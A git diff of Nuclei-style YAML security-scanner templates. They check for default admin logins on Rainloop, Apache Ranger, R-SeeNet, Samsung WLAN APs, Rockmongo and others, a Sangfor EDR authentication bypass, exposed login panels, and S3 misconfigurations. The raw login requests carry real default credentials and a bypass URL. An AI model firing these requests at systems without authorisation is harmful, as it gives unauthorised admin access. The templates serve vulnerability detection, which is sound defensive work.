path: - "{{BaseURL}}/config/initializers/secret_token.rb" + matchers-condition: and matchers: - type: word @@ -18,6 +23,9 @@ requests: - "config.secret_token =" part: body condition: and + - type: status status: - 200 + +# digest: 490a00463044022019fad1219afb790a7e75f74b0d440b376112ee237e1dfb5d86eb5b75f03a87c0022020a0873d7ee5e4bf7aaf83a949dfb750cebc464dc2dc158622d8f2255ef9495a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/rainloop-default-login-9813.yaml b/poc/auth/rainloop-default-login-9813.yaml new file mode 100644 index 0000000000..0068387dce --- /dev/null +++ b/poc/auth/rainloop-default-login-9813.yaml @@ -0,0 +1,49 @@ +id: rainloop-default-login +info: + name: Rainloop WebMail - Default Admin Login + author: For3stCo1d + severity: high + description: Rainloop WebMail default admin login credentials were successful. + reference: + - https://github.com/RainLoop/rainloop-webmail/issues/28 + metadata: + verified: true + fofa-query: app="RAINLOOP-WebMail" + tags: default-login,rainloop,webmail,foss +requests: + - raw: + - | # Login Portal: /?admin + GET /?/AdminAppData@no-mobile-0/0/15503332983847185/ HTTP/1.1 + Host: {{Hostname}} + - | + POST /?/Ajax/&q[]=/0/ HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + Login={{user}}&Password={{pass}}&Action=AdminLogin&XToken={{token}} + attack: pitchfork + payloads: + user: + - admin + pass: + - 12345 + cookie-reuse: true + extractors: + - type: regex + name: token + internal: true + group: 1 + regex: + - 'token":"(.+?)"' + matchers-condition: and + matchers: + - type: word + words: + - '"Action":"AdminLogin"' + - '"Result":true' + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/poc/auth/rainloop-default-login.yaml b/poc/auth/rainloop-default-login.yaml index 0068387dce..8e4ea4426f 100644 --- a/poc/auth/rainloop-default-login.yaml +++ b/poc/auth/rainloop-default-login.yaml @@ -1,15 +1,12 @@ id: rainloop-default-login info: - name: Rainloop WebMail - Default Admin Login + name: Rainloop WebMail Default Login author: For3stCo1d severity: high - description: Rainloop WebMail default admin login credentials were successful. - reference: - - https://github.com/RainLoop/rainloop-webmail/issues/28 + reference: https://github.com/RainLoop/rainloop-webmail/issues/28 metadata: - verified: true fofa-query: app="RAINLOOP-WebMail" - tags: default-login,rainloop,webmail,foss + tags: rainloop,webmail,default-login,foss requests: - raw: - | # Login Portal: /?admin @@ -45,5 +42,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/07/04 diff --git a/poc/auth/rancher-default-login-9814.yaml b/poc/auth/rancher-default-login-9814.yaml index 9eadc6d68c..a692cff35d 100644 --- a/poc/auth/rancher-default-login-9814.yaml +++ b/poc/auth/rancher-default-login-9814.yaml @@ -4,9 +4,16 @@ info: name: Rancher Default Login author: princechaddha severity: high - description: Rancher is a open-source multi-cluster orchestration platform, lets operations teams deploy, manage and secure enterprise Kubernetes. - reference: https://github.com/rancher/rancher + description: Rancher default admin credentials were discovered. Rancher is an open-source multi-cluster orchestration platform that lets operations teams deploy, manage and secure enterprise Kubernetes. + reference: + - https://github.com/rancher/rancher + - https://rancher.com/docs/rancher/v2.5/en/admin-settings/authentication/local/ tags: default-login,rancher,kubernetes,devops,cloud + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: @@ -50,3 +57,5 @@ requests: part: header regex: - 'Set-Cookie: CSRF=([a-z0-9]+)' + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/rancher-default-login-9815.yaml b/poc/auth/rancher-default-login.yaml similarity index 100% rename from poc/auth/rancher-default-login-9815.yaml rename to poc/auth/rancher-default-login.yaml diff --git a/poc/auth/ranger-default-login-9827.yaml b/poc/auth/ranger-default-login-9827.yaml deleted file mode 100644 index 34e46cbd76..0000000000 --- a/poc/auth/ranger-default-login-9827.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: ranger-default-login - -info: - name: Apache Ranger Default Login - author: For3stCo1d - severity: high - reference: https://github.com/apache/ranger - metadata: - shodan-query: http.title:"Ranger - Sign In" - tags: apache,ranger,default-login - -requests: - - raw: - - | - POST /login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - username={{user}}&password={{pass}} - - attack: pitchfork - payloads: - user: - - admin - pass: - - admin - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"statusCode":200' - - '"msgDesc":"Login Successful"' - condition: and - - - type: status - status: - - 200 diff --git a/poc/auth/ranger-default-login-9828.yaml b/poc/auth/ranger-default-login-9828.yaml index 33536c3057..34e46cbd76 100644 --- a/poc/auth/ranger-default-login-9828.yaml +++ b/poc/auth/ranger-default-login-9828.yaml @@ -1,22 +1,15 @@ id: ranger-default-login info: - name: Apache Ranger - Default Login + name: Apache Ranger Default Login author: For3stCo1d severity: high - description: Apache Ranger contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. - reference: - - https://github.com/apache/ranger - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + reference: https://github.com/apache/ranger metadata: - max-request: 1 shodan-query: http.title:"Ranger - Sign In" tags: apache,ranger,default-login -http: +requests: - raw: - | POST /login HTTP/1.1 @@ -44,5 +37,3 @@ http: - type: status status: - 200 - -# digest: 490a0046304402203bf53c048783b3bfa9ae3b589a837d7490de17871f806fdd517ec3f32b79d9b60220319afc2bd265b8457db14da8706c7852f329078070f5b51a82132229b4b31462:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/redis-require-auth.yaml b/poc/auth/redis-require-auth.yaml new file mode 100644 index 0000000000..933d643384 --- /dev/null +++ b/poc/auth/redis-require-auth.yaml @@ -0,0 +1,30 @@ +id: redis-require-auth + +info: + name: Redis Require Authentication - Detect + author: DhiyaneshDK + severity: info + description: | + IsAuthenticated checks if the redis server requires authentication + reference: + - https://docs.projectdiscovery.io/templates/protocols/javascript/modules/redis#isauthenticated + metadata: + max-request: 1 + shodan-query: product:"redis" + tags: js,redis,network + +javascript: + - code: | + const redis = require('nuclei/redis'); + const isAuthenticated = redis.IsAuthenticated(Host,Port); + Export(isAuthenticated); + + args: + Host: "{{Host}}" + Port: "6379" + + matchers: + - type: dsl + dsl: + - "success == true" +# digest: 490a004630440220558bfc0a5c06c14f0c6a1ea684da3b2cd3fec4d669cfe0a725521fac9b0f56d3022008d1783e086585a37bd02e64c04ad2154cccfc0aeeec83a2e02579afa9387ffc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/remote-ui-login.yaml b/poc/auth/remote-ui-login.yaml index d869206a4d..2227328ee6 100644 --- a/poc/auth/remote-ui-login.yaml +++ b/poc/auth/remote-ui-login.yaml @@ -1,20 +1,33 @@ id: remote-ui-login + info: - name: Remote UI Login + name: Canon Remote UI Login Panel - Detect author: dhiyaneshDK severity: info + description: Canon Remote UI login panel was detected. reference: - https://www.exploit-db.com/ghdb/6815 - tags: panel -requests: + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: panel,edb + +http: - method: GET path: - '{{BaseURL}}/login.html' + matchers-condition: and matchers: - type: word words: - 'System Manager ID:' + - type: status status: - 200 + +# digest: 490a004630440220240a98bda75f90b8bcf2c7a67de5724ea8215c5eaf5a4ad732dad14cf0f0704b022078183bc42827a9eb247099242fde4a7aec49fff395154f72985738e06c42dcdf:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/ricoh-weak-password-9880.yaml b/poc/auth/ricoh-weak-password-9880.yaml index da512f2063..55816ca5f7 100644 --- a/poc/auth/ricoh-weak-password-9880.yaml +++ b/poc/auth/ricoh-weak-password-9880.yaml @@ -4,17 +4,18 @@ info: name: Ricoh Default Login author: gy741 severity: high - tags: ricoh,default-login description: Ricoh default admin credentials were discovered. reference: - https://ricoh-printer.co/default-username-and-password-for-ricoh-web-image-monitor/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 - cve-id: cwe-id: CWE-522 + metadata: + max-request: 1 + tags: ricoh,default-login -requests: +http: - raw: - | POST /web/guest/tw/websys/webArch/login.cgi HTTP/1.1 @@ -39,4 +40,4 @@ requests: status: - 302 -# Enhanced by mp on 2022/03/11 +# digest: 490a0046304402205f1bd4059a6971b29531d16085fd70128e711082039224c7a09df177efae92e502206a2179161b61c2edd0419ce743f386a7ad9ccec0e2b79622f70ba6a9f6bd3f78:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/ricoh-weak-password-9882.yaml b/poc/auth/ricoh-weak-password-9882.yaml index 55816ca5f7..4e068463c9 100644 --- a/poc/auth/ricoh-weak-password-9882.yaml +++ b/poc/auth/ricoh-weak-password-9882.yaml @@ -1,5 +1,4 @@ id: ricoh-default-login - info: name: Ricoh Default Login author: gy741 @@ -11,11 +10,8 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 - metadata: - max-request: 1 tags: ricoh,default-login - -http: +requests: - raw: - | POST /web/guest/tw/websys/webArch/login.cgi HTTP/1.1 @@ -23,21 +19,18 @@ http: Cookie: cookieOnOffChecker=on; wimToken=&userid_work=&userid={{base64(username)}}&password_work=&password=&open= - payloads: username: - admin attack: pitchfork - matchers-condition: and matchers: - type: regex regex: - 'wimsesid=[0-9]+' part: header - - type: status status: - 302 -# digest: 490a0046304402205f1bd4059a6971b29531d16085fd70128e711082039224c7a09df177efae92e502206a2179161b61c2edd0419ce743f386a7ad9ccec0e2b79622f70ba6a9f6bd3f78:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/rockmongo-default-credentials.yaml b/poc/auth/rockmongo-default-credentials.yaml index 000d75a278..2e2ec7b575 100644 --- a/poc/auth/rockmongo-default-credentials.yaml +++ b/poc/auth/rockmongo-default-credentials.yaml @@ -1,9 +1,11 @@ id: rockmongo-default-credentials + info: name: Rockmongo Default Credentials author: pikpikcu severity: high tags: rockmongo,default-login + requests: - raw: - | @@ -14,13 +16,16 @@ requests: Referer: {{Hostname}}/index.php?action=login.index more=0&host=0&username=admin&password=admin&db=&lang=en_us&expire=3 + matchers-condition: and matchers: + - type: word words: - "Location: /index.php?action=admin.index&host=0" - "Set-Cookie: ROCK_LANG=" part: header + - type: status status: - 302 diff --git a/poc/auth/rockmongo-default-login-9899.yaml b/poc/auth/rockmongo-default-login-9899.yaml index 8fb0fdf1ee..c194ac4f25 100644 --- a/poc/auth/rockmongo-default-login-9899.yaml +++ b/poc/auth/rockmongo-default-login-9899.yaml @@ -1,11 +1,16 @@ id: rockmongo-default-login - info: name: Rockmongo Default Login author: pikpikcu severity: high + description: Rockmongo default admin credentials were discovered. + reference: + - https://serverfault.com/questions/331315/how-to-change-the-default-admin-username-and-admin-password-in-rockmongo + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: rockmongo,default-login - requests: - raw: - | @@ -15,23 +20,21 @@ requests: Referer: {{Hostname}}/index.php?action=login.index more=0&host=0&username={{username}}&password={{password}}&db=&lang=en_us&expire=3 - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - - type: word words: - "Location: /index.php?action=admin.index&host=0" - "Set-Cookie: ROCK_LANG=" part: header - - type: status status: - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/rockmongo-default-login-9900.yaml b/poc/auth/rockmongo-default-login-9900.yaml index 017b879566..eaa5d79c7b 100644 --- a/poc/auth/rockmongo-default-login-9900.yaml +++ b/poc/auth/rockmongo-default-login-9900.yaml @@ -1,10 +1,21 @@ id: rockmongo-default-login + info: name: Rockmongo Default Login author: pikpikcu severity: high + description: Rockmongo default admin credentials were discovered. + reference: + - https://serverfault.com/questions/331315/how-to-change-the-default-admin-username-and-admin-password-in-rockmongo + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: rockmongo,default-login -requests: + +http: - raw: - | POST /index.php?action=login.index HTTP/1.1 @@ -13,12 +24,14 @@ requests: Referer: {{Hostname}}/index.php?action=login.index more=0&host=0&username={{username}}&password={{password}}&db=&lang=en_us&expire=3 + payloads: username: - admin password: - admin attack: pitchfork + matchers-condition: and matchers: - type: word @@ -26,6 +39,9 @@ requests: - "Location: /index.php?action=admin.index&host=0" - "Set-Cookie: ROCK_LANG=" part: header + - type: status status: - 302 + +# digest: 4a0a00473045022100e38c9a57e4d88c9f038c701b6560797dad2f92de005ed2a726f7bc07660b27dd022064431cf3bab0caefb9392df1787aa92f28050b578b72c0863fab2aa1b37dc25b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/rseenet-default-login-9913.yaml b/poc/auth/rseenet-default-login-9913.yaml deleted file mode 100644 index 80dfe96d37..0000000000 --- a/poc/auth/rseenet-default-login-9913.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: rseenet-default-login - -info: - name: Advantech R-SeeNet Default Login - author: princechaddha - severity: high - description: Advantech R-SeeNet default admin credentials were discovered. R-SeeNet is a software system used for monitoring of status and functions of Advantech routers. - reference: https://icr.advantech.cz/products/software/r-seenet - tags: rseenet,default-login - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 - -requests: - - raw: - - | - POST /index.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - page=login_change&oper=0&username={{user}}&password={{pass}}&submit=Login - - attack: pitchfork - payloads: - user: - - admin - pass: - - conel - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - 'R-SeeNet (.*)' - - - type: word - part: body - words: - - "User is succesfully logged." - -# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/rseenet-default-login-9915.yaml b/poc/auth/rseenet-default-login-9915.yaml index 73dad842a6..f6e447f8d9 100644 --- a/poc/auth/rseenet-default-login-9915.yaml +++ b/poc/auth/rseenet-default-login-9915.yaml @@ -1,21 +1,11 @@ id: rseenet-default-login - info: name: Advantech R-SeeNet Default Login author: princechaddha severity: high - description: Advantech R-SeeNet default admin credentials were discovered. R-SeeNet is a software system used for monitoring of status and functions of Advantech routers. - reference: - - https://icr.advantech.cz/products/software/r-seenet - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 1 + reference: https://icr.advantech.cz/products/software/r-seenet tags: rseenet,default-login - -http: +requests: - raw: - | POST /index.php HTTP/1.1 @@ -23,24 +13,19 @@ http: Content-Type: application/x-www-form-urlencoded page=login_change&oper=0&username={{user}}&password={{pass}}&submit=Login - attack: pitchfork payloads: user: - admin pass: - conel - matchers-condition: and matchers: - type: regex part: body regex: - 'R-SeeNet (.*)' - - type: word part: body words: - "User is succesfully logged." - -# digest: 4a0a00473045022100efb5edcd4a4e48d7b54a630c30b681e36f9607dc91f478ef28453df486b505dc022032a21bafe86d3ddfedf9bf40db7657ab9171805b4528ac3d8f9847acd4c5964f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/s3-auth-fullcontrol.yaml b/poc/auth/s3-auth-fullcontrol.yaml new file mode 100644 index 0000000000..c9a52a4e69 --- /dev/null +++ b/poc/auth/s3-auth-fullcontrol.yaml @@ -0,0 +1,49 @@ +id: s3-auth-fullcontrol +info: + name: Restrict S3 Buckets FULL_CONTROL Access for Authenticated Users + author: princechaddha + severity: critical + description: | + Checks if Amazon S3 buckets grant FULL_CONTROL access to authenticated users, preventing unauthorized operations + reference: + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/manage-versioning-examples.html + tags: cloud,devops,aws,amazon,s3,aws-cloud-config + +flow: | + code(1) + for(let bucketName of iterate(template.buckets)){ + set("bucket", bucketName) + code(2) + } + +self-contained: true +code: + - engine: + - sh + - bash + source: | + aws s3api list-buckets --query 'Buckets[*].Name' + + extractors: + - type: json # type of the extractor + internal: true + name: buckets + json: + - '.[]' + + - engine: + - sh + - bash + source: | + aws s3api get-bucket-acl --bucket $bucket --query 'Grants[?(Grantee.URI==`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)]' + + matchers: + - type: word + words: + - '"Permission": "FULL_CONTROL"' + + extractors: + - type: dsl + dsl: + - '"FULL_CONTROL is enabled for Authenticated Users on S3 Bucket " + bucket' +# digest: 4b0a00483046022100ae50a09843b165ba2fcd9f5fb5774c60c2ba2ca3ec8461b893c6eb47cce50cf8022100ab31d7ca772ca4fdce476fb02441aaae4130fe68605b346dd30bcaa9f2fb0c3d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/s3-bucket-key.yaml b/poc/auth/s3-bucket-key.yaml new file mode 100644 index 0000000000..aa49b7d2d1 --- /dev/null +++ b/poc/auth/s3-bucket-key.yaml @@ -0,0 +1,49 @@ +id: s3-bucket-key +info: + name: S3 Bucket Key not enabled + author: princechaddha + severity: medium + description: | + This template verifies if Amazon S3 buckets have bucket keys enabled to optimize the cost of AWS Key Management Service (SSE-KMS) for server-side encryption + reference: + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/manage-versioning-examples.html + tags: cloud,devops,aws,amazon,s3,aws-cloud-config + +flow: | + code(1) + for(let bucketName of iterate(template.buckets)){ + set("bucket", bucketName) + code(2) + } + +self-contained: true +code: + - engine: + - sh + - bash + source: | + aws s3api list-buckets --query 'Buckets[*].Name' + + extractors: + - type: json # type of the extractor + internal: true + name: buckets + json: + - '.[]' + + - engine: + - sh + - bash + source: | + aws s3api get-bucket-encryption --bucket cc-prod-log-bucket --query 'ServerSideEncryptionConfiguration.Rules[?ApplyServerSideEncryptionByDefault.SSEAlgorithm==`aws:kms`].BucketKeyEnabled' + + matchers: + - type: word + words: + - false + + extractors: + - type: dsl + dsl: + - '"Key is not enabled for S3 Bucket " + bucket' +# digest: 490a0046304402207628f02f223a9c45013004373f631bfe358fe0898a91b4558b461cdbcb0cb33f02204c02ff4be552778912c6b81a4d7f06b0436bf0facd4066dd1b7b6a60c7fe8727:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/safenet-authentication-panel.yaml b/poc/auth/safenet-authentication-panel.yaml new file mode 100644 index 0000000000..0c283dc120 --- /dev/null +++ b/poc/auth/safenet-authentication-panel.yaml @@ -0,0 +1,34 @@ +id: safenet-authentication-panel + +info: + name: SafeNet Authentication Login Panel - Detect + author: righettod + severity: info + description: | + SafeNet Authentication Service Self Enrollment login panel was detected. + reference: + - https://cpl.thalesgroup.com/access-management/safenet-trusted-access + metadata: + max-request: 1 + shodan-query: http.title:"Self Enrollment" + verified: true + tags: panel,safenet,thales,login,detect +http: + - method: GET + path: + - "{{BaseURL}}/selfenrollment/Enrollment.aspx" + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(to_lower(body), "self enrollment") && contains_any(to_lower(body), "safenet", "thales")' + condition: and + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'V=([0-9.]+)' +# digest: 4a0a00473045022054249cfbedd2ca41a95fe081eea50064d87e27c8658a6a2f21e0854f80f470c4022100dd0227e371c4ca22e029f860821d7516668e556bc9ccb6433320e064d228f41c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/saferoads-vms-login-9970.yaml b/poc/auth/saferoads-vms-login-9970.yaml index 37203677cd..d8ae82f7ad 100644 --- a/poc/auth/saferoads-vms-login-9970.yaml +++ b/poc/auth/saferoads-vms-login-9970.yaml @@ -3,8 +3,9 @@ info: name: Saferoads VMS Login author: dhiyaneshDk severity: info + reference: + - https://www.exploit-db.com/ghdb/6941 tags: panel - reference: https://www.exploit-db.com/ghdb/6941 requests: - method: GET path: diff --git a/poc/auth/samsung-wlan-ap-default-credentials.yaml b/poc/auth/samsung-wlan-ap-default-credentials.yaml index 8355e8d87c..caeeb17a51 100644 --- a/poc/auth/samsung-wlan-ap-default-credentials.yaml +++ b/poc/auth/samsung-wlan-ap-default-credentials.yaml @@ -1,18 +1,15 @@ id: samsung-wlan-ap-default-credentials - info: name: Samsung Wlan AP (WEA453e) Default Credentials author: pikpikcu severity: high reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ tags: samsung,default-login - requests: - method: POST path: - "{{BaseURL}}/main.ehp" body: "httpd;General;lang=en&login_id=root&login_pw=sweap12~" - matchers-condition: and matchers: - type: word diff --git a/poc/auth/samsung-wlan-default-login-10017.yaml b/poc/auth/samsung-wlan-default-login-10017.yaml index 26d35aa1e9..fcb7300e4c 100644 --- a/poc/auth/samsung-wlan-default-login-10017.yaml +++ b/poc/auth/samsung-wlan-default-login-10017.yaml @@ -1,4 +1,5 @@ id: samsung-wlan-default-login + info: name: Samsung Wlan AP (WEA453e) Default Login author: pikpikcu @@ -10,20 +11,25 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: samsung,default-login -requests: + +http: - raw: - | POST /main.ehp HTTP/1.1 Host: {{Hostname}} httpd;General;lang=en&login_id={{username}}&login_pw={{password}} + payloads: username: - root password: - sweap12~ attack: pitchfork + matchers-condition: and matchers: - type: word @@ -31,8 +37,9 @@ requests: words: - "document.formParent2.changepasswd1.value" - "passwd_change.ehp" + - type: status status: - 200 -# Enhanced by mp on 2022/03/11 +# digest: 490a0046304402204c0c004f4e1523701e478e97dea5095b387b9e48975efa867a71d9ec5012c9c802203dda76ffd89c7ddec72b0bf0621c90196db5ea0b214d890ef7dbd4c7fbbbc3e0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/samsung-wlan-default-login-10018.yaml b/poc/auth/samsung-wlan-default-login-10018.yaml new file mode 100644 index 0000000000..7c151d3703 --- /dev/null +++ b/poc/auth/samsung-wlan-default-login-10018.yaml @@ -0,0 +1,30 @@ +id: samsung-wlan-default-login +info: + name: Samsung Wlan AP (WEA453e) Default Login + author: pikpikcu + severity: high + reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + tags: samsung,default-login +requests: + - raw: + - | + POST /main.ehp HTTP/1.1 + Host: {{Hostname}} + + httpd;General;lang=en&login_id={{username}}&login_pw={{password}} + payloads: + username: + - root + password: + - sweap12~ + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - "document.formParent2.changepasswd1.value" + - "passwd_change.ehp" + - type: status + status: + - 200 diff --git a/poc/auth/sangfor-edr-auth-bypass-10022.yaml b/poc/auth/sangfor-edr-auth-bypass-10022.yaml index 313272d6d7..5070ea2769 100644 --- a/poc/auth/sangfor-edr-auth-bypass-10022.yaml +++ b/poc/auth/sangfor-edr-auth-bypass-10022.yaml @@ -3,28 +3,31 @@ info: name: Sangfor EDR Authentication Bypass author: princechaddha severity: high - description: A vulnerability in Sangfor EDR allows remote attackers to access the system with 'admin' privileges by accessing the login page directly using a provided username rather than going through the login screen without providing a username. + description: | + A vulnerability in Sangfor EDR allows remote attackers to access the system with 'admin' privileges by accessing the login page directly using a provided username rather than going through the login + screen without providing a username. + metadata: + fofa-query: app="sangfor" tags: sangfor,auth-bypass,login - requests: - method: GET path: - "{{BaseURL}}/ui/login.php?user=admin" matchers-condition: and matchers: - - type: status - status: - - 302 - type: word + part: body words: - "/download/edr_installer_" - part: body - type: word + part: header words: - 'Set-Cookie=""' - part: header negative: true - type: word + part: header words: - 'Set-Cookie=' - part: header + - type: status + status: + - 302 diff --git a/poc/auth/sangfor-edr-auth-bypass-10024.yaml b/poc/auth/sangfor-edr-auth-bypass-10024.yaml index 19a68c8b9d..f92ce01d6f 100644 --- a/poc/auth/sangfor-edr-auth-bypass-10024.yaml +++ b/poc/auth/sangfor-edr-auth-bypass-10024.yaml @@ -1,21 +1,17 @@ id: sangfor-edr-auth-bypass info: - name: Sangfor EDR - Authentication Bypass + name: Sangfor EDR Authentication Bypass author: princechaddha severity: high description: | - Sangfor EDR contains an authentication bypass vulnerability. An attacker can access the system with admin privileges by accessing the login page directly using a provided username rather than going through the login screen without providing a username. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cwe-id: CWE-287 + A vulnerability in Sangfor EDR allows remote attackers to access the system with 'admin' privileges by accessing the login page directly using a provided username rather than going through the login + screen without providing a username. metadata: - max-request: 1 fofa-query: app="sangfor" tags: sangfor,auth-bypass,login -http: +requests: - method: GET path: - "{{BaseURL}}/ui/login.php?user=admin" @@ -41,5 +37,3 @@ http: - type: status status: - 302 - -# digest: 4a0a00473045022100b44fc80ed7fea92dcae3fa2c531204b2b0c157e3c31c62b264451a38c8aae83302206a40cc30c18dcbf7c19316b5798b7ccdf4953a2ddad03b78a16ed2ca37ecc91d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/sauter-login-10089.yaml b/poc/auth/sauter-login-10089.yaml index 93873dcfad..052a5a3773 100644 --- a/poc/auth/sauter-login-10089.yaml +++ b/poc/auth/sauter-login-10089.yaml @@ -4,7 +4,7 @@ info: author: DhiyaneshDk severity: info reference: https://www.exploit-db.com/ghdb/6883 - tags: panel + tags: panel,sauter requests: - method: GET path: diff --git a/poc/auth/seats-login-10106.yaml b/poc/auth/seats-login-10106.yaml deleted file mode 100644 index 33bac4b9b7..0000000000 --- a/poc/auth/seats-login-10106.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: seats-login - -info: - name: Seats login - author: dhiyaneshDK - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22seats.io++%7C+login%22 - tags: panel - -requests: - - method: GET - path: - - '{{BaseURL}}/login' - - matchers-condition: and - matchers: - - type: word - words: - - "seats.io | login" - - type: status - status: - - 200 diff --git a/poc/auth/seats-login-10108.yaml b/poc/auth/seats-login-10108.yaml new file mode 100644 index 0000000000..1c92b2e947 --- /dev/null +++ b/poc/auth/seats-login-10108.yaml @@ -0,0 +1,22 @@ +id: seats-login + +info: + name: Seats login + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22seats.io++%7C+login%22 + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}/login' + + matchers-condition: and + matchers: + - type: word + words: + - "seats.io | login" + - type: status + status: + - 200 diff --git a/poc/auth/seats-login.yaml b/poc/auth/seats-login.yaml index 1c92b2e947..c6eacdac92 100644 --- a/poc/auth/seats-login.yaml +++ b/poc/auth/seats-login.yaml @@ -1,13 +1,19 @@ id: seats-login info: - name: Seats login + name: Seats Login Panel - Detect author: dhiyaneshDK severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22seats.io++%7C+login%22 + description: Seats login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 tags: panel -requests: +http: - method: GET path: - '{{BaseURL}}/login' @@ -17,6 +23,9 @@ requests: - type: word words: - "seats.io | login" + - type: status status: - 200 + +# digest: 490a00463044022022c95008f5133b1d636b7cc7210eb4ed89a0d43907ea08dc56a89b50542c732d02200fa2438ba59a38d9f8e7eba967b272c792b989e7a5be51578aa84d600c16116d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/secnet-ac-default-login-10113.yaml b/poc/auth/secnet-ac-default-login-10113.yaml index 685125e478..78194a944c 100644 --- a/poc/auth/secnet-ac-default-login-10113.yaml +++ b/poc/auth/secnet-ac-default-login-10113.yaml @@ -1,15 +1,17 @@ id: secnet-ac-default-password info: - name: secnet-ac-default-password + name: secnet ac - Default Admin Login author: ritikchaddha severity: high - description: secnet ac default admin credentials were discovered. + description: secnet ac default admin credentials were successful. reference: - https://bbs.secnet.cn/post/t-30 - tags: secnet,default-login + metadata: + max-request: 1 + tags: default-login,secnet -requests: +http: - raw: - | POST /login.cgi HTTP/1.1 @@ -40,3 +42,5 @@ requests: - type: status status: - 200 + +# digest: 4b0a004830460221008b0bffdca451d4f7a6e3c778051d52d7d8d9dadd85f59ecdadbf3842cb9e1b84022100c20662b0c8793fdf0f5789f2ff09b6bb14c79f20fbf9e4d065af8a09ee8a8896:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/secnet-ac-default-login.yaml b/poc/auth/secnet-ac-default-login.yaml deleted file mode 100644 index 348509e76b..0000000000 --- a/poc/auth/secnet-ac-default-login.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: secnet-ac-default-password -info: - name: secnet-ac-default-password - author: ritikchaddha - severity: high - description: secnet ac default admin credentials were discovered. - reference: - - https://bbs.secnet.cn/post/t-30 - tags: secnet,default-login -requests: - - raw: - - | - POST /login.cgi HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - user={{username}}&password={{password}} - attack: pitchfork - payloads: - username: - - admin - password: - - admin - matchers-condition: and - matchers: - - type: word - part: body - words: - - "window.open('index.htm" - - type: word - part: header - words: - - "ac_userid={{username}},ac_passwd=" - - type: status - status: - - 200 diff --git 